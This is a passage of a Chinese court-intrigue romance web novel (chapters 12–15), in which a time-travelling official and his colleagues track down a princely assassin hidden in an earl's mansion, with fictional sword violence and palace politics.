别提宫人布置许久的锦簇花团,数不胜数的奇花异草齐整,有错开遍,站在其中,如临画中。
钱维季边往嘴里塞美食,边说:“我愿誓死追随太子殿下!”
“可惜,没法拍照,跟那些狗东西炫耀。”
一顿吃的就能满足你,真好收买。
晏城撑着头,目视钱维季扫光一盘又一盘菜,米饭也消耗不少,宫人捧着的托盘上叠了好几碗。
用完膳,钱维季捧着肚子好一顿打嗝,饱得不行。由于吃相不注重,嘴角都沾染不少饭粒,涂了一圈的菜油。
“有纸吗?擦个嘴。”钱维季问。
不等晏城回,服侍一旁的宫人举起沾了水的巾帕,温柔的替钱维季擦拭,力度很轻,似蜻蜓在嘴角点落。
钱维季大惊:“这就是资本家待遇吗?不,高官待遇,活该我穿越啊!”
能服侍太子的宫人,自是精心挑选过的,相貌不佳者摆选。
肤白貌美,瞧站直的身高,应该有大长腿。钱维季痴愣地盯看宫人,卷起巾帕放在托盘,收拾石桌的狼藉。
“好美,好贤惠,想……”
最后一个娶字没出口,钱维季再次被晏城塞住嘴,没用手,扔块噎嘴的点心进去。
晏城:“积点嘴德,千万别乱说话,宫人可不是让你拿来调戏的,她们日日服侍殿下,地位可比你个黑户高多了。”
“夜夜呢,被你占了?”钱维季问。
“……”
晏城:“你还是在地牢多待几天,才能学会‘入乡随俗’。”
将人送到客房时,晏城再次千叮万嘱,让钱维季别口无遮拦,招惹四分。
不搞笑,只会送你入阴府。
安顿好,晏城回到卧房,灯火被李公公挑亮,一走进
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,便可看见处理奏折的谢知珩。
以及始终捧着托盘的宫人,温热汤的滚水都不冒气,晏城触摸碗壁,放凉有一会儿。
“不用膳吗?”
晏城从后抱住谢知珩,贴近耳畔,轻声问。
谢知珩收起奏折,抬眸看角落的滴漏:“已是这时辰,是孤忙忘了。”
他话音落,李公公甩袖令宫人端来膳食,摆放桌面。
还未待谢知珩走来,晏城捧着碗择些菜堆放其中,他美学功底不够,又无色彩协调,效仿对象只有手抖的食堂阿姨。
李公公不喜,伸手要夺去,可他手慢一步,晏城已经浇了汤汁,木勺搅合,成了一碗常见的拌饭。
“你!”李公公气愤,不复珍白的米饭,混在其中的菜色。自他服侍太子起,殿下可从未见过如此简陋的膳食。
谢知珩未气,与晏城对视:“你要喂孤?汤汁混饭,孤可从未用过,今日倒是托你的福,尝会儿鲜。”
“以前常常这般吃,汤汁与米饭混合,味道的确不错。”晏城舀一勺喂给谢知珩,同时不耽误他处理公务。
“的确不错。”
谢知珩挥退还在恼怒的李公公,只留屋内他们二人。
“哼!瞧李公公脸色,好似我给你喂屎。”晏城气愤不已,在谢知珩眼前,给李公公上眼药。
谢知珩抚过他眉眼:“无碍,哪怕端来毒药,孤也会喝下。”
“毒药很痛的。”晏城说,“不如喂春药吧!”
谢知珩:“君悦足以。”
热恋中的伴侣总是难以分离,连呼吸都伴随炽热,夹杂细碎的吻。
夜总是很长,也很浓,哪怕被烛火驱赶,也总能找到它该处的地盘。
“哗啦啦!”
井水于头顶倾倒,湿了钟旺满身,寒意跟随滴落水珠渗透进钟旺不堪困扰的身体内。
“这般冷的天,就别冲凉,婶婶让厨房烧些热水。女孩子家家,可得好好泡会儿身子,别吃了寒,耽搁往后生育。”
钟旺用毛巾擦拭头发,朝担忧她的婶婶摇头:“不用,谦叔还在等我。”
走到李夫人身旁,钟旺捂住脸使自己清醒半分:“井水寒凉,可驱赶困意,也可强身健体。”
“别太拼,我们这些老骨头,还是能庇佑你。”李夫人擦去钟旺额角的水珠,担忧道。
李夫人:“殿下只责罚你父亲一人,未波及苏家,你仍能以四品钟仪大夫独女出嫁。”
“殿下,四品钟仪大夫?”
磨她许久,总算是从李夫人嘴中听得父亲的讯息,钟旺紧紧握住李夫人的手,问:“父亲不一直是五品郎中,后获罪死去,怎荣升四品大夫?”
“……唉。”
李夫人偏离头,叹息不已,拍拍钟旺的手背,轻声道:“别恨殿下,你可千万别恨殿下!”
“!”
李夫人:“殿下已做得足够好。”
话音落,里屋骤然响起物件砸地的碎声,李夫人嗖地望过去,关紧的门窗,只听里面嘈杂的脚步声,与李德谦的呼救。
“叔父!”
钟旺顾不得甩开李夫人的手,拔出她搁放在石磨的长刀,踹门跑入。
12. 第 12 章
长刀挥舞,携来的风裹着春夜时的寒意,袭面来的井水气压得整个屋子都潮湿,敢于刺杀官员的刺客不由得住了手,抹去额角的水珠。
柳叶偏细的眉眼,不甚锋利,却如她掌中的长刀,逼得刺客步步后退。
难以抵挡,这肉眼不可抓的刀光与剑影。
刺客暗自咬牙,为何无人同他说,这苏氏独女武技如此高超,连他都难以把控。
失神的片刻,长刀狠狠刺入他的腹部,钟旺乘胜再击,刀身在腹中搅合翻转,痛得刺客咬不紧牙关,出了声来。
“呃啊!”
刺客忍着剧痛,持手为刀要去斩落这长刀,他动作不慢,却不及钟旺珍惜长刀,顿时拔出来。
白身进,血红出,勾出的血液喷了钟旺半片身。
手腕轻转,甩了几个剑花洒去沾上的红血,钟旺快步往前几步,连道:“哪里去!”
窗纸被捶破个洞,刺客从这洞翻身出去,钟旺只来得及踹个捣锤衣物的木棒,朝刺客腰部重重一打。
“可别追了,快来瞧瞧你叔父。”李夫人忙唤停钟旺。
那刺客虽力不及钟旺,但瞧着他敢来刺杀当朝要员,可知非是个怯懦之人。
李夫人怕将人逼急了,不顾生死,也要伤钟旺半点,这可使不得啊。
钟旺察出其意,收刀入鞘,单膝蹲在李德谦旁。
“可有受伤?”钟旺满目担忧,覆上李德谦紧抓胸口的手背,指尖颤抖,声音不复平稳。
李德谦唇瓣发白,勉强开了口:“无、无碍,我遮了本书挡着。”
“可惜,可惜我的朱子集注,快、快救它。”
听了这话,李夫人扯了袖口连拍李德谦好几下:“混小子,这书就如此得你喜爱,跟你命根子似的。”
“哎呀,可别打了夫人,我方受了那般惊扰,经不得你如此打。”
知了叔父安然无事,钟旺站直身,从窗小洞望去。
虽烛火通明,照得路边草花叠挤,那贼人来得快,逃窜得也快。
未几刻,钟旺便听东城兵马司的声音,他们正朝这边来,可又越府而离,似要抓什么人去。
有一会儿,敲门声起,钟旺跟随侍女去瞧,是副指挥使带人询问。
东副指挥使:“几刻前,见有贼人从贵府上逃窜出,血味甚浓,可出什么事了?”
钟旺揪起的心石落下,点点头:“那贼人刺杀我叔父,未果,被我刺中而逃。还请副指挥使,尽早找到贼人。”
“李大人可有受伤?”东副指挥使问。
见钟旺摇头,留下一支小队保护李府,东指挥使转身回到队内,继续追赶刺客。
方要走时,史目便派人寻了过来,侧耳与东副指挥使说:“史目大人寻见贼人所在,请大人前去。”
东副指挥使:“好,我这就去。”
那刺客受了钟旺一刀,又被木棒捶打腹部,自是弯腰捂住不断溢血的伤口,步履艰难,朝阴暗处的小巷口走。
鼻中嗅到的味道越是杂糅,他便越是松懈。
已出了东城的地,进了中城的位。
“咳咳!”
脱下裹着的黑衣,扔在未清理的水沟里,梳理滚了一地沾染不少的发髻,装醉意重般,扶墙角而缓步移动。
“该死的,那苏氏女怎来得如此快,与父亲所言完全不同。”
抹去嘴角的血,谢元珪越想越不对劲,可兵马司的脚步来得太近。
谢元珪:“三哥家的豺狼脚步怎这般快,追得如此紧,我得想办法快快避开。”
虽是装醉,可京内因春闱殿试一事,惹得巡察严密,又禁官员押妓,他的伪装还是容易被看穿。
“平儿,平儿你可在哪呀!”
有声响来,谢元珪往前走几步,于烛火中见是位穿戴齐整的女公子,璎珞挂在脖颈处,碎光耀耀。
“哈啊……”谢元珪忙往前走几步,抓住那女公子,道声:“抱歉。”
女公子惊得不行,连甩手捶打谢元珪胸口,要尖叫出声寻救,哪想被谢元珪堵住了嘴。
“呜嗯……”
女公子落的泪烫了谢元珪手背。
兵马司的人很快来了,自巷口瞧去,见是一对有情儿缩在墙角,嬉笑打闹。
史目转眼与副指挥使言说:“可要去问问?”
有情儿夜里嬉闹,常见。有时遇到相熟的人,自是与他们兄长打趣一番。
有时,那兄长脾性暴烈点,岂不是招惹人嫌。
东副指挥使摇头:“还是得去瞧瞧,往日里还好,今日有贼人投李大人府上去,怕那女公子是被人挟持?”
“好。”史目带了些人,往巷子走去。
才到巷子半截,史目瞧见女公子面貌,顿时一惊。
这不是祁阳伯府的二小姐,今夜又到外处竹林苑来玩。
“是位熟人,大人。”史目说。
东副指挥使细细查看女公子的面容,虽泣泪连连,但眼眸里并无被胁迫的惧意,长睫低垂时,显出一番风情来。
东副指挥使:“应不是贼人,我们往另处瞧瞧。”
“好。”
日从德阳出,难散的紫气混着烟云扰乱殿室,珠帘被风吹得答答,又低压堂内匍匐跪着的人。
谢知珩自人进了德阳殿,便不再出声,批阅奏折的笔不停,只是偶尔择了蓝壳本子叠放在身旁太监的托几处。
跪了好些时辰,好在宫人送来软蒲搁着,不至于让兵马司指挥使跪着腿脚生疼。
“……”
莫不敢言,指挥使静默跪。
李公公走上前,取来那些蓝壳奏折,放置指挥使额前。
“宋大人可看看这些,御史们今早送上来的。”
指挥使勉强抬起头,颤颤伸向堆得有他好几个头高的奏折,只拆开一本来看,字字具是对他失职的抨击。
更别提,此次还牵扯到礼部官员,那骂的,不堪入目。
李公公:“殿下早早让你紧盯着城内,柔些你不爱听,得让御史们参你才受得?”
“兵马司上下不敢误殿下旨意,是臣等失职!”
谢知珩摆摆手,李公公忙扶起指挥使,宫人掀帘布走入,端了碗热茶与指挥使。
李公公:“且缓缓,喝了口浓茶暖暖,殿下并未治大人罪。”
又招来太监,摊开谢知珩后放的那几本,李公公说:“殿下可未瞧它们几眼,心里清楚大人对京城、对圣人的忠诚,不敢懈怠半分。“
“多谢殿下。”指挥使朝谢知珩,又拜了几拜。
没几刻指挥使离去,带走殿内的寒意,宫人挑着炭火盆,让热意散散。
桌上的弹劾奏折太多,谢知珩垂眸:“昨夜,谁刺了谢元珪?”
李公公回:“是暂居员
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外郎府上的侄子,在员外郎身旁读诗书,想是要参加科举。”
谢知珩:“读些诗书,开明智,通人慧,是个好法子,可别让人拿捏去。”
“可那侄子是位女儿家,参与科考?”侍奉东宫的宫人,低声问。
李公公:“女儿家如何?”
“……请殿下恕罪。”宫人立即俯身跪下,求谢知珩一息原谅。
谢知珩仍处理公务不言,殿外有侍卫走进,将那碎嘴的宫人拖了出去。
在三省几位宰相到来前,宫人便咽了声去。
……
大理寺内,兵马司几位副指挥使齐聚堂内,素日偷闲的范衡也为此事过来,两位寺正总算聚集。
唯一没官阶的,只有员外郎的侄子钟旺,以及那把斩贼人的长刀。
兵马司以巡逻、保京城为职务,探笼寻贼子一事得找大理寺。
诸副指挥使坐在底下,让大理寺正处理更好。
殷寺正:“昨夜可有变故,或是遇到什么人?春闱期间,宵禁严苛,又禁止押妓,街坊上该是没几人。”
东副指挥使言:“在巷口有遇见祁阳伯府上的女二公子,似同那竹林苑的兔儿爷嬉笑几番。”
殷寺正曲指敲打桌面:“前几日我去淮阳巷,听那些楼内人说,竹林苑早闭了去,许久不曾开门迎客,哪来的兔儿爷?”
“呃……”
东副指挥使也顿住,挠了挠耳后:“我瞧那女二公子被人欺负,虽要哭,却没怨恨对头,便私自断定了去。“
殷寺正转眸看向钟旺:“可瞧见贼子脸面?”
钟旺摇头:“他身着黑色夜行衣,戴罩子遮面,难认清他脸。不过,我在他腹中刺了一刀,对方腰这头定是不行,还留有木棒的淤青。”
“好,我们暂且先去祁阳伯府,寻那女二公子。”
上值快迟到的晏城悄默默隔着屏风溜进来,可他艳红衣袍太过显眼,只供皇室用的绸缎在晨光下流泽熠熠。
陶严凑到已迟的晏城旁:“你怎此时才来,我们马上得要出祁阳伯府去,来得巧也不算晚。”
他们声音不算小,哪怕在屏风后,凑而相言,也让屏外的人听见。
兵马司的几位副指挥使见晏城来了,齐齐走上跟前,与晏城问好:“晏大人好巧,居然能在大理寺内相见。”
而得罪了殿下的指挥使更是面带笑意,亲昵地拍拍晏城肩膀,说:“晏大人若无事,可一同去。”
不等晏城拒绝,指挥使又言:“等事情处理完,大哥设宴请贤弟,好好喝一顿才是。”
“……”
靠的有些近了,晏城双眼巴巴朝陶严望去,救命啊!
陶严默默不语。
你且受着吧,谁让殿下宠爱你得很,瞧瞧穿来上值的衣裳,宫里有几人受得。
好不容易等指挥使松了手,晏城忙逃到陶严身后,与殷寺正到祁阳伯府去。
路上,陶严同晏城打趣说:“这祁阳伯府的女二公子,在京城可知名,日夜都往竹林苑去。也就几日前落水吃了点寒,修养在家几日,没去苑内。”
晏城幽幽扫过眼去:“你咋知道这事的?”
“呃……那女公子的手帕交,与某交好,听她说的。”陶严支支吾吾。
晏城挑挑眉,有情况。
陶严这厮居然有朝一日可出修身之境,往齐家方向发展!
13. 第 13 章
晏城张口想询问几番,还未出声,便听马车外钟旺说祁阳伯府到了,殷寺正让他们赶紧下车。
落了地,率先进眼的是守门庇槛有数十年的两大石狮子,风雨蹉跎也不改它们威严,正如祁阳伯府久不散的荣华。
门房早早听闻大理寺要来的讯息,正门已开,正等他们进去。
“怎不见女眷?”
越伯府流水长廊,锦簇花团,偶有嘀叫的鸟儿于高枝飞跃,晏城不由地困惑,偏头小声问陶严。
他考居京城才三年,时常懒居晏府,高有太子看重,自是不用出门应酬,与人交际。
也是此,晏城少知了不少勋贵趣事。
但官员同僚的八卦,他比任何人都清楚,不便之处,有谢知珩为他补充。
陶严流转眸眼,扫过这片奢侈又不失情调的庭院,低声与晏城说:“祁阳伯夫人早去,祁阳伯又未续弦,便没做主的娘子。”
“那咱们好意思进去?”晏城问。
不见主人家迎客,只留管家在前头,迎接他们这一摊子人。
陶严指了指殷寺正:“殷大人是祁阳伯舅舅,算长辈,也不算误闯他宅,更别说我们是为那贼子而来。”
“……”
晏城很少参与大理寺的外勤,以往也只在影视剧中看警察查案,可具都备有搜查令,才赶去别人家里。
不过,舅舅?
顿时,晏城上下打量殷寺正,面孔也不超三十,会有个伯爷外甥。
那外甥,该有多小啊!
“不是,你说这是殷大人他外甥?”
晏城隔着衣袖指着雄壮威武、熊背虎腰的男人,边惊讶边低声问陶严。
陶严:“是啊,殷大人大舅的长女嫁到祁阳伯府,生下的孩子便是祁阳伯。”
晏城:“……”
只瞧外相,祁阳伯像殷寺正他爹。
“奇奇怪怪的,他们家的关系。”
钟旺跟着点头,眸眼里也满是惊奇。
……
前头,祁阳伯在大厅招待大理寺与兵马司等人,同殷寺正与副指挥们欢笑不少。
不止殷寺正是他表叔,东副指挥使的家里人也跟他有几分亲近。
正是如此,前厅的闲聊声始终不短。
闲趣好有一会儿,殷寺正打断这场寒暄,问:“祁阳伯应听闻昨夜发生的事情,有贼人闯进李员外郎府中行刺,此次我等前来,也正为此事。”
东副指挥使点头:“我追寻那贼人时,巧遇府上女二公子,有些事想问问女二公子。”
“溪涟?”
祁阳伯不解,看向身边的管事,管事点点头,确有此事。
祁阳伯:“既然如此,你去唤溪涟过来。”
“是。”随侍的侍女走出门。
等人离去,殷寺正与管事的说:“可否唤齐府上招待的男厮,昨夜宵禁人少,怕贼人跟着女二公子,进了伯府门。”
殷寺正又仔细叮嘱:“切切要关注那些今日休息在房,腰部受损的人。”
管事点点头,走到门外与人交代。
晏城眼神随着管事走回祁阳伯身旁,转眸与陶严对视几番,喊着钟旺悄悄跟着那小厮离大厅去。
他们的走开,引不起正厅内几位重臣的心,祁阳伯倒是瞧见几番,任那绸缎穿门走过。
“哼!”祁阳伯轻哼出声,眸眼里尽是对他们的轻视与鄙弃。
太过明显,几乎摆在他们面前,引得旁边几人不动声色的互视,眨眼间又消散。
府后有皇嗣,就是了不得。
……
“我们为何要出来?待在正厅内等待,不好吗?”钟旺问。
陶严取了折扇轻敲她额角,道:“你就不怕来的人少了些,可别忘了齐副指挥使说的,那女公子可未惧怕。”
如此一想,钟旺倒警觉不少,忙快步跟上那唤人的小厮,不由得脚步声快了些,快越过那人去。
晏城忙一把拉住:“别走那么快,我们可是在跟踪。”
钟旺点点头,放慢脚步,落在陶严后头。
穿廊走林,越溪而绕,祁阳伯府偌大的庭院展露在三人眼前。早春不散的梅花低垂枝头,偶尔有风,飘逸三人耳旁。
小厮大抵清楚身后跟着贵人,他步履不快,也没分别求人到各个院子里找人,而是走到屋去,任他们仔细观察。
几乎唤来大半服侍的小厮,钟旺绕着他们转了好几圈,也没瞧出个熟悉来,回到陶严旁。
晏城:“都不是?”
“背挺而腰缠细带,没有血腥味。有些人刚做完活起身,没有任何痛楚,不在里面。”钟旺回。
陶严抓挠唇角:“可能在女二公子院子那边,不过女眷居住地,我们可不能擅闯,特别几道你!”
“啊?又有我什么事。”晏城不理解。
陶严锤了晏城几下:“你忘了自个花名?”
“我有这玩意?”晏城指着自己,仍是困惑。
钟旺兴致高昂,探高头:“什么什么,晏大人有什么花名头?”
陶严:“艳美状元郎,今科几位压头高的学子,可没一人能同你相争艳。”
“而那女公子,最馋你这等,淮阳巷的人都看了个遍,也不及你人才貌双全。”
“然后嘞,有我啥事?”晏城继续问。
没扰到他面前来,只在背后嘀咕,晏城可不关心。
若真因背后言扰心,那晏城可得被这满京城的俗言俗语压弯了身子骨。
别提谢知珩从不隐瞒他对晏城的喜爱,为大理寺开了多少路子。
不过姑娘间的私言蜜语,晏城从不理睬。
钟旺好奇:“说说,让我听听。”
等人急得不行,陶严才说:“我不有个手帕交好吗?她曾听女二公子说,要与晏郎一顿交好。”
“啊?”
钟旺瞪大了双眸,晏城软了些。
见快要到正厅,晏城迈脚都慢了不少:“要不,我还是去车上等等吧,反正我是来参与的,不干活。”
可怕,真的好可怕。
晏城胆怯了,扒拉着门,不敢往里进。
“走吧你小子!”
陶严喊来钟旺,两人齐齐拖着晏城,推进正厅。
盛朝不忌讳男女之防,也不大看重男女贞洁。有情儿缠缠绵绵,至多晚间宵禁严,不敢同在外过夜。
恰好,他们前脚才进,被唤来的沈溪涟后脚也走进。
她翩移莲步,走到祁阳伯身旁,问:“爹爹唤我来,所谓何事?”
爹爹?
晏城不由得一惊,他有许久不曾听这称呼,时下人惯以称哥哥、阿耶与阿爹,少见爹爹一词。
果不其然,跟随沈溪涟身后的那位姑娘,便是亲切地与祁阳伯说声“哥哥”。
祁阳伯摸了摸两女儿的头,与人介绍:“这位便是你们要找的溪涟,这是我家三姑娘,唤作溪漪。”
三姑娘弯身与殷寺正几位弯腰问福:“儿拜见几位大人。”
两姑娘一长得如牡丹般艳丽多姿,丹凤的眸眼里受光流转,破碎的光斑映得她肤白颊润。
另一人倒不如姐姐那般一眼惊人,可若细细究来,却另有柳风抚腰肢的浅浅软娇,小家碧玉在她身上显到极致。
心性暂不
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言,姐姐只瞧几位大人多盯梢妹妹几眼,眼里的鄙弃就少不了,唇瓣微动,似要吐出个狐狸精来。
不由得,他们心里生得不快。
好歹是同房姐妹,怎骂得如此肮脏!
“奇奇怪怪的!”
陶严低声说,盯察沈溪涟有一会儿。
三人离祁阳伯不远,晏城身着的衣袍精贵,厅中几人莫不敢比,更是长有一番绝世的相貌。
只是立于偏处,聚在他身上的焦点不曾散,就连沈溪漪也频频望向晏城好几眼。
当初与众闺口出豪言的沈溪涟,满心欢喜,只求与状元郎有一欢交好。
今日,沈溪涟垂眸看了殷少宿许久,或是观察副指挥,不曾看晏城一眼。
晏城:“是有些奇怪,这女二公子揪着裙摆许久,侧过祁阳伯,瞧自家舅爷爷也太久了吧!”
陶严拍了拍他俩,低声商讨:“此次来主关照的还是沈二姑娘,先让殷寺正拖延会儿时间,我们去探探沈二姑娘闺房。”
“呃,不好吧!”晏城有点担忧,那可是女儿家的住所。
“怕什么,沈二姑娘的闺房可迎不少郎君,别担心她讹上你。”
陶严作轻松样说,让晏城不要太过上心,被逮住又如何,直接让晏城牺牲点美色,不过过关了!
美人计,英雄最难过温柔乡。
“这么担心,不如我上!”陶严拢拢衣袍,见不得晏城这般推三阻四的,毅然站出来。
“某自认还是有些美色,可得沈二姑娘欢心。”
“……”
“……”
你高兴就好,不用顾忌我们。
晏城与钟旺齐齐闭上嘴,一路上只顾听陶严吹捧,他貌堪惊艳,是无数闺中人梦里的檀郎。
德阳殿议政的宰相散了,谢知珩恰好处理完所有紧急的红壳奏折。占据半桌的蓝壳奏折里大半参的是宋指挥使,少数是参齐副指挥使,参他追寻到贼子踪迹,却轻易放了对方。
自古御史便是敢说常人不敢言的事,参常人不敢参的罪。
一刻不能止,一刻不能往外扩思,便将齐副指挥使的罪行放大,责他懈怠殿下旨意,不敬业忠君。
此等人怎可担任兵马司副指挥使的职位,该贬他入边境,在镇远大将军麾下好好返修一番。
李公公为太子合上这些奏折,笑说:“御史们言得太过,兵马司不至于罪到此处。”
“让他们多言些,紧紧这些混小子的筋。”
谢知珩拿出问好的绿壳奏折:“常言道良药苦口,这点苦他们可得多尝,才能挖了底下的腐肉,治这满身的病。”
“殿下说得在理。”李公公笑回,让人将处理好的红壳奏折送至中书省去。
偷闲时,谢知珩最爱看这问好奏折。
一言一语都用尽了诸百官的文采,只为让高位者阅之心喜,名字入了太子的眼。
“祁阳伯府的荣华太多,连宰相们都不敢称一品,老祁阳伯却敢在孤面前倚老卖老。”
谢知珩在纸上写下评语,轻笑:“不就仗着有位成年皇子吗?居然敢觊觎神器,敢隐藏逃犯。”
“就让你,成为孤那把长刀的磨刀石吧,孤的好弟弟。”
谢知珩嘴角的笑意散不开。
德阳殿室内,总算响起第一道笑声,连带着服侍的宫人也勾起嘴角,附和笑着。
“找到了!此处血腥味最浓!”
钟旺往后与同来的伙伴说,长刀眨眼间拔出,直直落在沈溪涟主卧凸起的被褥上。
一刀没出声,钟旺又连下好几刀,没个定频与节奏,好似酒醉的徒弟,乱拳来打死老师傅。
14. 第 14 章
精绣镶嵌缕缕金丝的被褥,由钟旺划拉个稀破烂,可哪怕如此,也不见那藏于被褥下的贼子有半声出来。
钟旺困惑不解:“障眼法?”
又瞧了眼那被褥,钟旺挠着垂落的长鬓:“很贵的吧,我刚上京城,薪水没发,不够赔偿!”
“……”
陶严摸摸下巴:“祁阳伯向来富养家儿,又惯纵得很,某好像也赔不起!”
两双水灵灵的瞳眸眨巴眨巴望向晏城,殷勤的模样,吓退晏城好几步。
这搞得,像是他富可敌国似的。
可他哪来的钱,俸禄要么吃光,要么被那些急跳脚的御史参得全扣。
如今,晏城还靠太子贵养着。
“哼。”
晏城慢悠悠吐出一口浊气,走到床旁,缓缓掀开那不成样的被褥。
方要揭开,被角似有活物藏匿,顶耸着走出来,从被褥的中间,移动晏城拉出的那小片地方。
晏城不敢动,他不敢再掀。
捏被角的手在颤抖,抖擞得厉害,指尖似要随他的魂散了去。
救、救我……
晏城望向钟旺他们,那双桃花眸里的柔情,似水脉脉,又似烟云逸开。
以为可获丝缕同僚情,可哪想,这二人逃得比谁都快,眨眼间,就离了他有三九步之远。
混蛋小子们,晏城欲哭无泪掉回头,不再言。
咬牙抿唇,晏城将睁欲闭,颤巍巍将被角多拉开点,露出那玩意的半点模样。
他的惧怕,在捻被的手背触碰到温热活物时,被拉大到最高处。
可傻逼同僚,秉持死道友不死贫道的心,抛夫弃子,忘旧情,却滴水恩,毫无半丝同理心。
太上老君保佑,阿弥陀佛,耶稣、阿门!
晏城再探进些,松开被角,手指缓缓往下,去触碰安抚那烫热的活灵,于脑海中描摹出它的外廓。
“……”
好软,它在蹭我的手诶!晏城又惊又吓,不怕生,也不怕人,湿润的部分暖得晏城心痒痒。
有所猜测,晏城不再惧怕。
“喵呜!”
被人摸得舒服,它总算发声。
此声一出,那两“背祖弃父”的玩意闪现他面前,不等晏城摸完全身,钟旺兴昂地将幼狸抱出来,逗弄软乎的下巴。
陶严也喜爱,挤开晏城,抓抚晃动不已的长毛尾巴。
被忽视得一干二净,晏城发泄般将被褥完全掀开,揉搓一团的黑色夜行衣,还带着裹幼狸的暖热。
顺手牵了泛着绿的半块玉佩,塞进窄小的袖口。
晏城:“确凿了,是沈姑娘收留贼子。”
钟旺抬起头:“人被沈姑娘藏在哪处?我们还要再翻翻吗?”
陶严顺滑的从猫头抚到高翘的尾:“再找找,贼人受伤严重,沈姑娘不可能转移得太远,我们又早早过来,她大抵还没反应过来。”
不然,沈溪涟也不会紧紧盯着殷寺正,拖他不离正厅半步。
可同时,殷寺正也拖她许久,给了晏城他们行动的时刻。
“我去翻翻吧。”
同僚皆沉浸在玩抚幼狸的愉悦中,晏城扫了会房间,绕着梁柱屏风旋走。
闺房干净,瞧不出什么,只能说侍女伺候精细,不曾怠慢过沈姑娘。
塌间、座椅,晏城蹲下身从头到尾摸了许久,贴着细嗅,也没闻个血腥出来。
大抵要等殷寺正来,晏城想,他不如殷寺正那般适合探案。
“!”
外间的珠帘被人牵动,晏城霎时仰望去。
于珠帘的缝隙中,见是位打扮俊俏的姑娘,布料暗纹随风彰显,朱钗步摇有错修饰她半倚的发髻。
她听见屋内的猫呜声,翩翩走来,抚划珍珠,往里看去。
“你们!”
她惊讶住,紧揪锦帕,另只手往后试探。
明明很怕,她退得却很慢。见晏城察觉到她,身子颤颤,往旁晃了好几下,趴在书架上,不小心触碰到那硕大的、插好花枝的瓷瓶。
“哎!小心。”
晏城快步走过去,将人扶起,待人站稳,又速速松开。
晏城:“不要怕,我们是大理寺前来搜寻贼子,非是坏人。”
“呜呜……好的,平儿拜见几位大人。”
双手攥紧锦帕,平儿轻声唤,眼睫抖颤,后退几步拉开两人距离。
安抚人后,晏城去扶平花瓶,刚触碰,便见书柜后用一张与墙相似的布,遮掩后面。
晏城联名拉开帘布,扑鼻来的是刺破嗅觉的熏香,浓得要杀死人般。
点得太浓,不像是为闺房增添古雅韵味,倒像是要遮盖什么似的。
想到此,晏城连忙唤来还在玩的同僚,与平儿一同将书柜推移半点,透那细小的缝,走进去。
书柜自有一片天地,似桃花源记中的初极狭,复走数步,豁然开朗,喜见极乐。
各类各色珍贵至极的宝物,随意摆放。每一件,晏城都在东宫见过相似,或是在谢知珩私藏的内库里,方见古人的奢侈。
走过屏风,穿过硕大东珠吊起的珠帘,那方有大床宽的塌中,是他们寻找的贼子。
晏城看向钟旺,钟旺扫了那人的身形,以及越近越不散的血味,点点头。
“找个东西把人捆走吧。”陶严左右环视,只落在珠串上,上下打量,能否扯动。
也或许,打量自己能否赔偿,这可是仅供皇室的珍品东珠。
他们行进的声音不小,陶严扯珠串的声音细细碎碎,敲打着谢元珪的头颅,他闷痛得要起。
见人醒,钟旺立即出手,横刀用刀柄将人再次打昏。
可临昏前,对方仍是看出钟旺的脸,双手挣扎着挠抓钟旺。无奈,钟旺只得拔刀,长刀穿刺掌心,又刺破喉咙。
痛呜的呼声卡在喉口,痛意逼迫谢元珪复醒,充斥极致的恨意与细微的后悔,盯看钟旺,不瞑目。
“你手好快。”全程目睹,晏城竖起拇指,直叹。
钟旺收回刀:“上京的漫长道路,只告诉我一个道理,动手要先人一步,不然死的会是自己。”
这快得不止一步了,连人都没看清,就直接杀了!
知道他身份吗,知道杀了这人会给自己带来多大的后果吗!
哪怕你是女主,也不能刺杀皇嗣啊!
更别说,你还得找出父亲获罪的真相啊!女主大人!
心里吐槽无数,晏城见人已逝,
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解开脸罩,看清他整张脸。
三分熟悉,与谢知珩一致的薄唇,相似的高挑凤眸里却裹挟散不尽的恨意。
无论谁来看,都能辨别出这张脸,特别祁阳伯。
这可是他们肆无忌惮的最有力靠背。
也不知哪来的勇气,手无实权,又无文官站位,母家持有的军队还不如谢知珩指缝里的兵马司。
就这般,还敢与谢知珩争夺皇位。
陶严这时走来,看了眼死者:“有点眼熟,想不出是哪位来着?”
钟旺惊喜:“陶大人居然认得他,那能揪住背后主谋!”
没主谋,你眼前这人就是主谋。
不过,谢元珪势力发展得这么差啊,刺杀都得亲自上,找不到其他替死鬼啦?
晏城于心中吐槽许久,眉头轻挑,向钟旺问了把匕首。
钟旺不解:“这人已死,再无跳尸回魂的可能,晏大人你要干嘛?”
陶严也困惑,注视晏城握匕首的手,见那锋利的刀身,与刀尖落在谢元珪脸庞,重重划动。
“哎!几道你干嘛,死者为大,你怎可在人脸上刻字!”
陶严大呼,忙出手想制止晏城,却被拦下。
晏城边在脸庞刻下“奴”字,边回:“我知死者为大,但这是我能想到的唯一保存我们的法子。”
“什么?”
为使力,晏城咬紧牙关,吐出字来:“不能让人瞧出他的身份,不能在明面上。”
若是被人指出谢元珪皇子身份,那他们三人,特别钟旺这谋害皇子的主犯,更是死罪难逃。
哪怕求得谢知珩开恩,避开死罪,钟旺也难以再待在京城。
陶严有大致猜测,凤眸虽不罕见,可皇室却常见。
他顿时担心,握住晏城的手背,添些力度,刀尖割肉见骨。
“也不能让你一人承担,哪怕殿下再怎么喜爱你,如此重罪,也会使你落得深渊下场。”
听此,晏城轻笑:“不会,殿下会保护好我的。”
往昔,晏城便问过谢知珩,问:“倘若有朝一日,我犯下重罪,众人皆知,你会处罚我吗?”
“重罪?”
谢知珩合上奏折,身子后仰贴在晏城胸膛上,仰着头说:“若你犯下叛国重罪,背弃吾盛,孤会让你死在众人眼中,囚死在东宫内。”
“你永远,不会有触及大盛事务的那一天。”
晏城既无奈,又觉在意料中。
如今的盛朝是谢知珩耗费大量精力支撑的一方天地,贵为太子,权有监国,他定不会让任何越盛朝而去。
晏城贴着谢知珩微凉额头:“不是这个,我说,如果有一天,我杀了皇帝呢?”
刺杀君主,等同于谋逆,上至九族消消乐,下至死罪。
谢知珩却轻笑而过,吻着他指尖:“杀帝而已,哪配算是重罪。如真如此,孤还得谢你。”
杀帝罪名,都能被谢知珩轻轻放过。何况,眼前只辱杀个没实权的皇子而已。
晏城相信,真捅到谢知珩眼前,他也会死死保住自己。
似乎又听见谢知珩在耳旁说。
“哪怕你杀了孤,也不是重罪。只不过,孤死前会带走你,你我共走奈何。”
15. 第 15 章
“要不,我也来补一刀?”
钟旺颤颤巍巍拔出长刀半身,眸光垂落,打量谢元珪没刻的另一边。
“……”
你过来插什么刀,我们这么做还不是为了你,晏城既无奈又无话可言。
